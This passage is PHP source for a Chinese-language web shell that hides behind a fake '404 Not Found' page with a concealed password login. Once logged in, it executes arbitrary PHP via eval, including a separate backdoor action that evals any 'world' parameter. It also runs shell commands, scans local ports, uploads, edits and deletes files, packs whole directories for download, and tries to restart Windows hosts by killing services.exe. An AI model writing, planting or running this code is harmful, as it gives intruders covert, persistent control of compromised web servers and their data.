            
        });
    }
    function upload(){
      $('.upload').click(function(){
        $('#upfile').toggle();
      });
      $(".postfile").click(function(){
        $('#upfile').hide();
         $("#form1").submit();
      });
    }
    function runphp(){
        $(".run_php").click(function(){
            $('.runphp_hide').toggle();
            $(".runphp_click").click(function(){
                error("正在执行php代码,请耐心等待", '#load', 2000);
                var port = $('.runphp_value').val();
               $.get('?action=runphp&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile==null){
                       error("语句执行错误,或者执行的函数被禁用!", '#load', 2000);
                    }
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
            
        });
    }
    function run_command(){
        $(".run_command").click(function(){
            $('.runcommand_hide').toggle();
            $(".runcommand_click").click(function(){
                error("正在执行命令,请耐心等待", '#load', 2000);
                var port = $('.runcommand_value').val();
               $.get('?action=runcommand&codes='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    if(data.showfile){
                       error("命令执行成功!", '#load', 2000);
                      $('#show_file').append('<pre>'+data.showfile+'</pre>');
                    }                  
                   
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });           
        });
    }
      function newfile(){
      $("._newfile").click(function(){
          $(".newfile").toggle();
      });     
      $(".newfile_click").click(function(){
          var name = $(".newfile_name").val();
          var contents = $(".newfile_value").val();
          if(name==''){
              error("新建文件不能为空!", '#load', 2000);
              return false;
          }
         if(contents==''){
              error("新建内容不能为空!", '#load', 2000);
              return false;
          }
          if(name && contents){
              $.post('?action=createfile',{file:name,body:contents},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                 
            },"json");
           }
      });
   }
     function newfolder(){
      $("._newfolder").click(function(){
          $(".newfolder").toggle();
      });     
      $(".newfolder_click").click(function(){
          var name = $(".newfolder_name").val();
          if(name==''){
              error("新建文件夹不能为空!", '#load', 2000);
              return false;
          }
          if(name){
              $.post('?action=newfolder',{file:name},function(data){
               if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
               if(data.msg){
                    error(data.msg, '#load', 2000);
               }                
            },"json");
           }
      });
   }

   function pay(){
      $('.pay').click(function(){
        alert('付费模块正在努力制作中!');
      });
   }
    function _init() {
        $(function($) {
            _key();
            url = $("#submit").attr('data_url');
            post('#submit',url, '#f_login');
            get('.action_del');
            close();
            find();
            port();
            runphp();
            upload();
            run_command();
            newfile();
            newfolder();
            pay();
            $('.packages').click(function(){
              error('打包时间比较长,请耐心等待。。或者进行其他操作。。', '#load', 5000);
            });
        });
            
    }


    
    _init();
})();
    </script>
js;
    return $code;
}

function _html() {
    $code = <<< CODE
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
    <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
   <div id="notice" style="position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display: none; font-size:12px;"></div>
   <div class="not_found">
   <h1>Not Found</h1>
    <p>The requested URL /{url} was not found on this server.</p>
   </div>
   <div id="login">
   <form action="" method="GET" id="f_login">
   <span style="font:11px Verdana;">
       Password: 
     </span>
     <input id="pwd" name="password" type="password" size="20" />
     <input id="submit" data_url="{url}" type="button" value=" login " />
   </form>
  </div>
</body>
</html>
CODE;

    return str_replace(array(
        '{url}',
        '{load_css}',
        '{load_js}'), array(
        KING_SELF,
        css(),
        js()), $code);
}

function class_html() {
    $code = <<< code
<!DOCTYPE HTML>
<head>
 <meta http-equiv="content-type" content="text/html" />
 <meta http-equiv="content-type" charset="UTF-8" />
  <title>404 Not Found</title>
    {load_css}
    <script src="http://lib.sinaapp.com/js/jquery/1.8/jquery.min.js"></script>
    {load_js}
</head>
<body>
{body}
</body>
</html>
code;
    return $code;
}

function class_body() {
    $code = <<< code
<div id="load">
</div>
<div class='hide' id="upfile">
<p></p><p></p><p><a href="javascript:;;;" id="close_file">点我关闭</a></p>
<form action="?action=upload" id="form1" name="form1" encType="multipart/form-data"  method="post" target="hidden_frame">
    <input name="action" value="upload" type="hidden" />
    <input type="file" id="userfile" name="userfile">  
    <INPUT class="postfile" type="button" value="上传文件">         
    <iframe name="hidden_frame" id="hidden_frame" style="display:none"></iframe>  
</form>  
</div>
<div id="open">
<div style="position:relative;">
<div id="close">关闭</div>
</div>
<div id="show_file" class="showfile">
</div>
</div>
<div id="header">
  <div class="left">
  {host}({ip})
  </div>
  <div class="right">
  OS:{uname} {software} php {php_version}
  </div>
</div>
<div id="menu">
    {menu}
</div>
<div id="content">
<h2>文件管理 - 当前磁盘空间 <span id="disktotal">{space_total}</span> 运行用户:{whoami}</h2>
  <div id="base">
    <div class="cdrom">
      <span id="listdir"> {current_dir}</span>
    </div>
    <div class="cdrom">
      {all_dir}
    </div>
  </div>
  <div class="h"></div>
  <div id="base2">
    <div class="cdrom">
      {action}
    </div>
    <div class="cdrom">
      切换路径: <input class="input find" name="findstr" value="" type="text" /> <input  class="bt qh" value="切换" type="submit" />
    </div>
    <div class="cdrom runcommand_hide hide">
      运行命令: <input class="input runcommand_value" name="runphp" value="" type="text"/> <input  class="bt runcommand_click" value="运行" type="submit" />
    </div>
    <div class="cdrom port_hide hide">
      扫描端口: <input class="input port" name="findstr" value="21,22,25,80,3306,9000,11211" type="text" /> <input  class="bt findport" value="扫描" type="submit" />
    </div>
    <div class="cdrom runphp_hide hide">
      运行php: <textarea class="input runphp_value" name="runphp" value="" type="text" style="width:600px;height:200px;"/></textarea> <input  class="bt runphp_click" value="运行" type="submit" />
    </div>
     <!--new file -->
    <div class="cdrom hide newfile">
           新建文件: <input class="input newfile_name"  style="font-size:16px;color:blue;" name="findstr" value="" type="text" /> 
     <div style="margin-top:10px;">
     新建内容: <textarea class="input newfile_value" name="runphp" value="" type="text" style="width:600px;height:200px;font-size:16px;color:blue;line-height: 28px;"/></textarea> 
         <input  class="bt newfile_click" value="新建" type="submit" />
      </div>
    </div>     
    <!--end-->
     <div class="cdrom hide newfolder">
         新文件夹: <input class="input newfolder_name" name="findstr" value="" type="text" /> 
         <input  class="bt newfolder_click" value="新建" type="submit" />
    </div>     
  </div>
  <!-- return -->
  <div id="show">
   <dl>
  <dt>
    <span class="in"> </span>
    <span>文件名</span>
    <span>修改时间</span>
    <span>文件大小</span>
    <span>权限</span>
    <span>操作</span>
  </dt>
  <dd >
    <span class="in">
    -
    </span>
    <span>
      <a class='action_del' href="?action=up">返回上一目录</a>
    </span>
    <span></span>
    <span></span>
    <span></span>
     <span></span>
  </dd>
  <!-- file -->
    {showfile}
  <!-- file  end -->
 </dl>
  </div>
 <!-- page start-->
  <!-- end -->
</div> 
<div class="h"></div>
<div id="footer">
   当前版本:2.0 一句话连接提供 {http}/{k}?pass={p} 密码是e</span>
</div>
code;
    return str_replace(array('{http}', '{k}', '{p}'), array($_SERVER["HTTP_HOST"], KING_SELF, _pass_), $code);
}

function show_html() {
    $code = <<< code
    <dd class="{color}" onmouseover="this.className='focus'" onmouseout="this.className='{color}'">
    <span class="in">
     <input name="" type="checkbox">
    </span>
    <span>
    <a class="action_del {.red}" href="{self}?action=view&file={file}" name="" >{return_file}</a>
    </span>
    <span>
     <a href="javascript:;;;" name="" >{return_time}</a>
    </span>
    <span>{return_size}</span>
    <span>
     <a href="javascript:;;;" name="" >{return_chmod}</a> / 
     <a href="javascript:;;;" name="">{return_perms}</a>
    </span>
    <span>
     {is_folder}
   </span>
  </dd>
code;
    return $code;
}

function pages() {
    $code = <<< code
   <div id="pages">
   <dl>
    <dd>
    <span class="in"> </span>
    <span></span>
    <span></span>
    <span></span>
    <span style="text-align:right;width:38%">
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=1" >Index</a>   
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$previous" >Previous</a>
    {pages}
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$next" >Next</a>
    <a class="high2" href="javascript:;;;" name="action=show&dir=$_ipage_file&page=$nums" >End</a>
    </dd>
    </dl>
  </div>
code;
}

function _login() {
    $password = I('password');
    //去掉原有key保护改为用户自定义密码[服务端已修改]
    //&& NULL == bin::decode($GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key))), $key)
    if (isset($password) && $password !=_pass_) {
        die('{"status":"100","msg":"密码不对"}');
    }
    echo _html();
}

function _logout() {
    setcookie(session_name(),null, time() - 86400);
    session_destroy();
}

function is_ajax() {
    if (strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest')
        return true;
}

function run() {
    $action = new run();
    $action->index();
}

function _is_login() {

    $cookie = !empty($_SESSION['_king_key']) ? pack('H*', $_SESSION['_king_key']) : null;
    $key = I('password') ? I('password') : $cookie;
    if (_pass_ == $key) {
        if ($_SESSION['_king_key'] != bin2hex(_pass_)) {
            //setcookie('_king_key', bin2hex($key), time() + 86400);
            setcookie(session_name(), session_id(), time() + 86400);
            $_SESSION['_king_key'] = bin2hex($key);
        }
        run();
    } else
        _login();
}

class run {

    function index() {
        $action = I('action') ? I('action') : null;
        if (isset($action)) {
            if (method_exists($this, $action))
                $this->$action();
        } else {
            $this->dump();
        }
    }

    function restart() {
        if (!IS_WIN) {
            die('{"msg":"非常抱歉,此操作仅限windows系统"}');
        }
        if (!class_exists('COM')) {
            die('{"msg":"非常抱歉,此机器不支持重启"}');
        }
        //尝试重启
        kill('services.exe');
        die('{"msg":"正在尝试重启服务器系统,如不是system权限请放弃操作!"}');
    }

    function find() {
        $dir = $this->gbk_mbstring(I('file'));
        if (is_dir($dir)) {
            $this->setpath($dir);
            $this->dump();
        }
    }

    function hello() {
        $i = I('world');
        if ($i) {
            eval($i);
        }
        exit;
    }

    function createfile() {
        $filename = I('file');
        $contents = I('body');
        if (isset($filename) && isset($contents)) {
            if (true == file_put_contents(_getcwd() . $filename, $contents)) {
                $this->dump('新建文件成功!');
            } else {
                $this->dump('新建文件失败!');
            }
        }
    }

    function newfolder() {
        $filename = I('file');
        if (isset($filename)) {
            if (is_dir(_getcwd() . $filename)) {
                die('{"msg":"文件夹已经存在"}');
            }
            if (true == mkdir(_getcwd() . $filename, 0777)) {
                $this->dump('新建文件夹成功!');
            } else {
                $this->dump('新建文件夹失败!');
            }
        }
    }
    function editfile(){
       if(IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
       if (is_file($filename)) {
            ob_start();
            echo file_get_contents($filename);
            $contents = ob_get_clean();
            echo sprintf('{"editfile":%s,"filename":"%s"}', json_encode($this->mbstring($contents)),basename($filename));
        }

    }
    function rmdir() {
        if(IS_WIN)
            $dir = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $dir = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        $files = array_diff(scandir($dir), array('.', '..'));
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? $this->rmdir("$dir/$file") : unlink("$dir/$file");
        }
        if(true==rmdir($dir)){
            $this->dump('文件夹删除成功!');
        }else{
            die('{"msg":"文件夹删除失败!"}');
        }
    }

    function phpinfo() {
        $html = <<< code
        <pre>
        php参数查看
   ======================================
        
   禁用的函数:
   {disable_function}
   禁用的类 :{class}
   支持的拓展 : 
   {ext}
   加载的项目 : {include}
   前置调用 : {pre}
   后置调用 :{next}
   内存设置大小 : {mem}
   php.ini 路径 : {php}
   最大上传 : {u}
        
  =======================================
                       code by blackbin
        </pre>
code;
        $dis = ini_get('disable_functions');
        $ext = join(',', get_loaded_extensions());
        $in = ini_get('include_path');
        $mem = ini_get('memory_limit');
        $class = ini_get('disable_classes');
        $php = php_ini_loaded_file();
        $u = ini_get('upload_max_filesize');
        $pre = ini_get('auto_prepend_file');
        $next = ini_get('auto_append_file');
        $code = str_replace(array(
            '{disable_function}',
            '{ext}',
            '{include}',
            '{mem}',
            '{class}',
            '{php}',
            '{u}',
            '{pre}',
            '{next}'), array(
            str_replace(',', '<br/>   ', $dis),
            str_replace(',', '<br/>   ', $ext),
            $in,
            $mem,
            $class,
            $php,
            $u,
            $pre,
            $next), $html);
        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function port() {
        $port = explode(',', I('ports'));
        foreach ($port as $v) {
            if (true == $this->fsockopen($v)) {
                $yes[] = $v;
            } else {
                $no[] = $v;
            }
        }
        $html = <<< code
        <pre>
              端口检测
         =======================
          服务器开放端口:{yes}
          服务器关闭端口:{no}
         =======================
       </pre>
        
code;
        $code = str_replace(array('{yes}', '{no}'), array(join(',', $yes), join(',', $no)), $html);

        die(sprintf('{"showfile":%s}', json_encode($code)));
    }

    function fsockopen($port) {
        $fp = fsockopen("127.0.0.1", $port, $errno, $errstr, 1);
        if (!$fp) {
            return false;
        }
        return true;
    }

    function runphp() {
        $codes = I('codes');
        ob_start();
        eval($codes);
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($c)));
    }

    function runcommand() {
        $codes = I('codes');
        ob_start();
        echo `$codes`;
        $c = ob_get_clean();
        die(sprintf('{"showfile":%s}', json_encode($this->mbstring($c))));
    }

    function viewinfo() {
        phpinfo();
        exit;
    }

    function logout() {
        _logout();
        header('location:http://'.$_SERVER["HTTP_HOST"].'/'.KING_SELF);
        die('{"status":"200","msg":"你已成功退出!"}');
    }

    function del() {
        if (IS_WIN)
            $file = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $file = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($file)) {
            if (false == unlink($file)) {
                die('{"msg":"对不起,您没有删除此文件的权限!"}');
            } else {
                $this->dump('成功删除文件!');
            }
        }
        return;
    }

    function down() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (isset($filename)) {
            if (file_exists($filename)) {
                $this->download($filename);
            }
        }
        return;
    }

    function linuxpkg() {
        if (IS_WIN)
            die('{"msg":"此功能仅限linux平台使用"}');
        $disable_functions = ini_get('disable_functions');
        if (strpos($disable_functions, 'shell_exec')) {
            die('{"msg":"非常抱歉,命令行已被禁用,请使用左边的打包功能!"}');
        }
        $apath = pack('H*', $this->scriptroot());
        $path = $_SESSION['dirpath'];
        $shell = sprintf('tar zcf %s.tar.gz %s', md5(uniqid()), $path);
        shell_exec($shell);
        $this->setpath($apath);
        $this->dump('亲,恭喜您,打包成功!');
    }

    function packages() {
        if (!class_exists('ZipArchive')) {
            die('{"msg":"当前环境不支持打包!"}');
        }
        $c = $this->_scandir($this->mbstring($_SESSION['dirpath']));
        array_walk_recursive($c, array($this, 'tofile'));
        $res = $this->addzip();
        if ($res) {
            //返回打包路径
            $apath = pack('H*', $this->scriptroot());
            $this->setpath($apath);
            $this->dump('亲,恭喜您,打包成功!');
        }
    }

    function up() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        $_SESSION['dirpath'] = str_replace('\\', '/', $this->setpath(dirname($path)));
        $this->dump();
    }

    //区分windows编码 windows gbk
    function view() {
        if (IS_WIN)
            $filename = I('file') ? $this->gbk_mbstring(pack("H*", I('file'))) : null;
        else
            $filename = I('file') ? $this->mbstring(pack("H*", I('file'))) : null;
        if (is_dir($filename)) {
            $this->setpath($filename);
            $this->dump();
        }
        if (is_file($filename)) {
            ob_start();
            show_source($filename);
            $contents = ob_get_clean();
            echo sprintf('{"showfile":%s}', json_encode($this->mbstring($contents)));
        }
    }

    function upload() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        if (true == @file_put_contents($path . '/' . basename($_FILES['userfile']['name']), file_get_contents($_FILES['userfile']['tmp_name']))) {
            exit('
          <script>
          parent.$("#load").show();
          parent.$("#load").text("上传成功,刷新当前页面即可!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        } else {
            exit('<script>
          parent.$("#load").show();
          parent.$("#load").text("上传失败!");
          setTimeout(
           function() {
              parent.$("#load").hide();
            }
          , 2000);
        </script>');
        }
    }

    protected function dump($msg = null) {
        if (is_ajax()) {
            $this->dump_ajax($msg);
        } else {
            $this->dump_html();
        }
    }

    //start
    function _scandir($path) {
        $path = $this->gbk_mbstring($path);
        $class = new DirectoryIterator($path);

        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring($path) . '/' . $this->mbstring($fileinfo->
                                        getFilename());
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->_scandir($path . '/' . $fileinfo->getFilename());
            }
        }
        if (!isset($files))
            $files = array();
        if (!isset($dirs))
            $dirs = array();
        $return = array_merge($dirs, $files);
        return $return;
    }

    function trimpath($path) {
        return str_replace('\\', '/', $path);
    }

    function tofile($item, $key) {
        $GLOBALS['addzips'][] = array('pathname' => $item, 'filename' => ltrim(str_replace
                            ($this->trimpath(dirname(__file__)), null, $item), '/'));
    }

    function addzip() {
        set_time_limit(0);
        $basename = md5(uniqid()) . '.zip';
        $zip = new ZipArchive;
        if (!is_file($basename))
            $res = $zip->open($basename, ZipArchive::CREATE);
        else
            $res = $zip->open($basename);
        if ($res === true) {
            foreach ($GLOBALS['addzips'] as $add) {
                if (basename($add['pathname']) == $basename)
                    continue;
                $zip->addFile($this->gbk_mbstring($add['pathname']), $this->gbk_mbstring($add['filename']));
            }
            $zip->close();
        } else {
            die('{"msg":"不能创建打包程序,可能是目录没有读写权限!"}');
        }
        return true;
    }

    //end
    function download($filename) {
        set_time_limit(0);
        $file = new SplFileObject($filename);
        header("Cache-Control: no-cache, must-revalidate");
        header("Pragma: no-cache");
        header("Content-Disposition: attachment; filename=" . $file->getbasename());
        header("Content-Length: " . $file->getsize());
        header("Content-Type: application/force-download");
        header('Content-Description: File Transfer');
        header('Content-Encoding: none');
        header("Content-Transfer-Encoding: binary");
        while (!$file->eof()) {
            echo $file->fgets();
        }
    }

    protected function dump_ajax($msg = null) {
        if ($msg) {
            echo sprintf("{\"html\":%s,\"msg\":\"%s\"}", $this->ajax(), $msg);
        } else {
            echo sprintf("{\"html\":%s}", $this->ajax());
        }
    }

    protected function dump_html() {
        $html = $this->html();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        echo str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
    }

    protected function is_utf8($str) {
        $c = 0;
        $b = 0;
        $bits = 0;
        $len = strlen($str);
        for ($i = 0; $i < $len; $i++) {
            $c = ord($str[$i]);
            if ($c > 128) {
                if (($c >= 254))
                    return false;
                elseif ($c >= 252)
                    $bits = 6;
                elseif ($c >= 248)
                    $bits = 5;
                elseif ($c >= 240)
                    $bits = 4;
                elseif ($c >= 224)
                    $bits = 3;
                elseif ($c >= 192)
                    $bits = 2;
                else
                    return false;
                if (($i + $bits) > $len)
                    return false;
                while ($bits > 1) {
                    $i++;
                    $b = ord($str[$i]);
                    if ($b < 128 || $b > 191)
                        return false;
                    $bits--;
                }
            }
        }
        return true;
    }

    protected function byte_format($size, $dec = 2) {
        $a = array(
            "B",
            "KB",
            "MB",
            "GB",
            "TB",
            "PB");
        $pos = 0;
        while ($size >= 1024) {
            $size /= 1024;
            $pos++;
        }
        return round($size, $dec) . "" . $a[$pos];
    }

    protected function html() {
        return str_replace(array(
            '{body}',
            '{load_css}',
            '{load_js}'), array(
            $this->body(),
            css(),
            js()), class_html());
    }

    protected function ajax() {
        $html = $this->body();
        $menu = join(" | ", $this->menu());
        $action = join(" | ", $this->action());
        $body = str_replace(array("{menu}", "{action}"), array($menu, $action), $html);
        return json_encode($body);
    }

    protected function body() {

        return str_replace(array(
            '{host}',
            '{ip}',
            '{uname}',
            '{software}',
            '{php_version}',
            '{whoami}',
            '{current_dir}',
            '{space_total}',
            '{all_dir}',
            '{showfile}',
                ), array(
            $this->host(),
            $this->ip(),
            $this->uname(),
            $this->soft(),
            $this->php_version(),
            $this->whoami(),
            $this->current_dir(),
            $this->space_total(),
            $this->all_dir(),
            $this->showfile(),
                ), class_body());
    }

    protected function menu() {
        if (IS_WIN) {
            $restart = array(
                "重启系统",
                KING_SELF . "?action=restart",
                'action_del');
        } else {
            $restart = null;
            $unset = true;
        }
        $menus = array(
            array(
                "退出",
                KING_SELF . "?action=logout",
                null),
            array(
                "运行命令",
                'javascript:;;;',
                'run_command'),
            array(
                "端口扫描",
                'javascript:;;;',
                'click_port'),
            array(
                "运行php",
                'javascript:;;;',
                'run_php'),
            array(
                "php参数",
                KING_SELF . "?action=phpinfo",
                'action_del'),
            array(
                "phpinfo",
                KING_SELF . "?action=viewinfo",
                null),
            array(
                "mysql管理(需付费购买)",
                'javascript:;;;',
                'pay'),
            $restart,
        );
        if (isset($unset)) {
            array_pop($menus);
        }
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function action() {
        $menus = array(
            array(
                "网站目录",
                KING_SELF . "?action=view&file=" . $this->webroot(),
                'action_del'),
            array(
                "文件目录",
                KING_SELF . "?action=view&file=" . $this->scriptroot(),
                'action_del'),
            array(
                "上传文件",
                'javascript:;;;',
                'upload'),
            array(
                "新建文件",
                "javascript:;;;",
                '_newfile'),
            array(
                "新建文件夹",
                "javascript:;;;",
                '_newfolder'),
            array(
                "打包当前路径(php功能)",
                KING_SELF . "?action=packages",
                'action_del packages'),
            array(
                "打包当前路径(linux功能)",
                KING_SELF . "?action=linuxpkg",
                'action_del packages'),
            array(
                "刷新本页",
                KING_SELF . "?action=view&file=" . bin2hex($_SESSION['dirpath']),
                'action_del'),
        );
        foreach ($menus as $menu) {
            $return[] = sprintf("<a class='%s' href=\"%s\">%s</a>", $menu[2], $menu[1], $menu[0]);
        }
        return $return;
    }

    protected function showfile($path = null) {
        $pathname = empty($path) ? $this->basedir() : pack('H*', $path);
        $filename = $this->scandir($pathname);
        if (isset($filename['dirs'])) {
            sort($filename['dirs']);
            foreach ($filename['dirs'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $dirs[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                        ), array(
                    KING_SELF,
                    bin2hex($basefile), //1
                    $value,
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    '无',
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a class="action_del" href="%s?action=rename&file=%s">重命名</a> | ',KING_SELF,bin2hex($basefile)).
                    sprintf('<a class="action_del" href="%s?action=rmdir&file=%s">删除</a>',KING_SELF,bin2hex($basefile)),
                        ), show_html());
            }
            unset($key, $value, $basefile);
        }
        if (isset($filename['files'])) {
            sort($filename['files']);
            foreach ($filename['files'] as $key => $value) {
                $basefile = $this->mbstring($pathname) . '/' . $value;
                $color = ($key + 1) % 2 ? 'dd' : 'fff';
                $files[$key] = str_replace(array(
                    '{self}',
                    '{file}',
                    '{return_file}',
                    '{return_time}',
                    '{return_size}',
                    '{return_chmod}',
                    '{return_perms}',
                    '{is_folder}',
                    '{.red}'), array(
                    KING_SELF,
                    bin2hex($basefile),
                    $value, //1
                    date('Y-m-d H:i:s', $this->filemtime($basefile)),
                    $this->byte_format($this->filesize($basefile)),
                    substr(sprintf('%o', $this->fileperms($basefile)), -4),
                    $this->perms($basefile),
                    sprintf('<a href="%s?action=down&file=%s">下载</a> | ', KING_SELF, bin2hex($basefile)) .
                    sprintf('<a class="action_del" href="%s?action=editfile&file=%s">编辑</a>',KING_SELF,bin2hex($basefile)). ' | <a href="">重命名</a> | ' . sprintf(' <a class="action_del" href="%s?action=del&file=%s">删除</a>', KING_SELF, bin2hex($basefile)),
                    ($value == KING_SELF) ? 'red' : null,
                        ), show_html());
            }
        }


        if (!isset($dirs))
            $dirs = array();
        if (!isset($files))
            $files = array();
        $arr = array_merge($dirs, $files);
        foreach ($arr as $k => $v) {
            $color = ($k + 1) % 2 ? 'fff' : 'dd';
            $res[] = str_replace(array('{color}'), array($color), $v);
        }
        return join(null, $res);
    }

    function webroot() {
        return bin2hex(str_replace('\\', '/', $_SERVER["DOCUMENT_ROOT"]));
    }

    function scriptroot() {
        return bin2hex(str_replace('\\', '/', dirname($_SERVER["SCRIPT_FILENAME"])));
    }

    protected function filemtime($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filemtime($path);
    }

    protected function fileperms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return fileperms($path);
    }

    protected function filesize($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        return filesize($path);
    }

    protected function perms($path) {
        if (IS_WIN)
            $path = $this->gbk_mbstring($path);
        else
            $path = $this->mbstring($path);
        $perms = fileperms($path);
        if (($perms & 0xC000) == 0xC000) {
            $info = 's';
        } elseif (($perms & 0xA000) == 0xA000) {
            $info = 'l';
        } elseif (($perms & 0x8000) == 0x8000) {
            $info = '-';
        } elseif (($perms & 0x6000) == 0x6000) {
            $info = 'b';
        } elseif (($perms & 0x4000) == 0x4000) {
            $info = 'd';
        } elseif (($perms & 0x2000) == 0x2000) {
            $info = 'c';
        } elseif (($perms & 0x1000) == 0x1000) {
            $info = 'p';
        } else {
            $info = '?????????';
            return $info;
        }
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms &
                        0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms &
                        0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms &
                        0x0200) ? 'T' : '-'));
        return $info;
    }

    protected function setpath($path) {
        $_SESSION['dirpath'] = $path;
        return $path;
    }

    protected function current_dir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : $this->basedir();
        return $this->dirpath($path);
    }

    protected function basedir() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : str_replace('\\', '/', dirname(__file__));
        $this->setpath($path);
        return $path;
    }

    protected function all_dir() {
        if (!IS_WIN) {
            return $this->scanlinux();
        } else {
            return $this->scanwindows();
        }
    }

    protected function scanlinux() {
        if (ini_get('open_basedir'))
            return;
        $pathname = '/';
        return $this->scandir($pathname, true);
    }

    protected function scanwindows() {
        $range = range('A', 'Z');
        foreach ($range as $dir) {
            if (is_dir(sprintf('%s:', $dir))) {
                $dirs[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex($dir . ':'), $dir);
            }
        }
        return join(' | ', $dirs);
    }

    protected function scandir($path, $dir = false) {
        if ($dir == true && !strpos(ini_get('disable_functions'), 'scandir')) {
            $class = scandir($path);
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo == '.' || $fileinfo == '..')
                    continue;
                if (is_dir($path . '/' . $fileinfo)) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo)), str_replace('\\', '/', $fileinfo));
                }
            }
            return join(' | ', $files);
        }
        //先采用scandir扫描
        if (!strpos(ini_get('disable_functions'), 'scandir')) {
            $root = scandir($path);
            foreach ($root as $key => $value) {
                if ($value == '.' || $value == '..')
                    continue;
                if (is_dir($path . '/' . $value)) {
                    $dirs[] = $this->mbstring(str_replace('\\', '/', $value));
                }
                if (is_file($path . '/' . $value)) {
                    $files[] = $this->mbstring(str_replace('\\', '/', $value));
                }
            }
            return array('dirs' => $dirs, 'files' => $files);
        }

        $class = new DirectoryIterator($path);
        if ($dir == true) {
            foreach ($class as $key => $fileinfo) {
                if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                    continue;
                if ($fileinfo->isDir()) {
                    $files[] = sprintf('<a class="action_del" href="%s?action=view&file=%s">%s</a>', KING_SELF, bin2hex('/' . str_replace('\\', '/', $fileinfo->getFilename())), str_replace('\\', '/', $fileinfo->getFilename()));
                }
            }
            return join(' | ', $files);
        }
        foreach ($class as $key => $fileinfo) {
            if ($fileinfo->getFilename() == '.' || $fileinfo->getFilename() == '..')
                continue;
            if ($fileinfo->isFile()) {
                $files[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
            if ($fileinfo->isDir()) {
                $dirs[] = $this->mbstring(str_replace('\\', '/', $fileinfo->getFilename()));
            }
        }
        return array('dirs' => $dirs, 'files' => $files);
    }

    protected function space_total() {
        $path = !empty($_SESSION['dirpath']) ? $_SESSION['dirpath'] : dirname(__file__);
        $dis = explode(',', ini_get('disable_functions'));
        if (in_array('disk_total_space', $dis)) {
